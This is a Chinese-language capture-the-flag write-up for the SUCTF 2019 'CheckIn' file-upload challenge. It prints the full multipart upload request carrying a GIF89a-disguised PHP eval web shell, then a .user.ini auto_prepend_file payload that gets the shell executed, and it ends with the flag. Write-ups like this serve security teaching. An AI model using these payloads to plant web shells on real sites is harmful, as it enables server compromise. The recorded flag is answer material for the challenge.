[SUCTF 2019]CheckIn 1

TazmiDev發表於2024-11-12

[SUCTF 2019]CheckIn 1

開啟例項,發現檔案上傳頁面

image-20241112225509181

根據題目提示,檢視網頁原始碼

image-20241112225536481

這邊提示系統會建立一個訪問者的 IP 地址的 MD5 雜湊值作為目錄,並在其後拼接index.php

POST上傳的upload引數,檔名不能為空,不能過大,不能包含phhtacess,不能有<?,並且限制上傳型別為image,如果滿足以上條件,則輸出檔案位置和目錄位置。

分析:

根據資訊,已經能確定上傳php型別不可行,包括php3、phtml等檔案混淆,且包含檔案型別限制,並且內容過濾了<?,所以決定採用圖片馬+javascript+幻術頭GIF89a的形式上傳圖片馬

payload:

------WebKitFormBoundaryi81FjE7IXd1HzMLZ
Content-Disposition: form-data; name="fileUpload"; filename="abc.jpg"
Content-Type: image/png

GIF89a
<script language='php'>eval($_POST['cmd']);</script>
------WebKitFormBoundaryi81FjE7IXd1HzMLZ
Content-Disposition: form-data; name="upload"

提交
------WebKitFormBoundaryi81FjE7IXd1HzMLZ--

image-20241112233112695

上傳成功,並給出了檔案回顯,(這個abc是做測試的時候傳的)

Your dir uploads/ec53bc853c0c94f2bf546edd1a265425 <br>Your files : <br>array(5) {
  [0]=>
  string(1) "."
  [1]=>
  string(2) ".."
  [2]=>
  string(7) "aaa.jpg"
  [3]=>
  string(7) "abc.jpg"
  [4]=>
  string(9) "index.php"
}

所以根據程式碼提示,圖片馬地址為

uploads/ec53bc853c0c94f2bf546edd1a265425/index.php

訪問not found,存在解析問題

圖片馬成功了,接下來就是解析問題,根據提示.htaccess被禁用,所以根據原始碼提示決定採用.user.ini配置進行解析,這邊一樣得加上幻術頭

payload

GIF89a
auto_prepend_file=aaa.jpg

image-20241112231822226

上傳成功,訪問uploads/ec53bc853c0c94f2bf546edd1a265425/index.php,解析成功

image-20241112233312009

Hacker barPOST傳遞引數,引數為cmd,也就是一句話木馬的密碼

image-20241112233645827

找到flag

flag{2fd51ec6-e0e4-432c-8569-cc524f4b0271}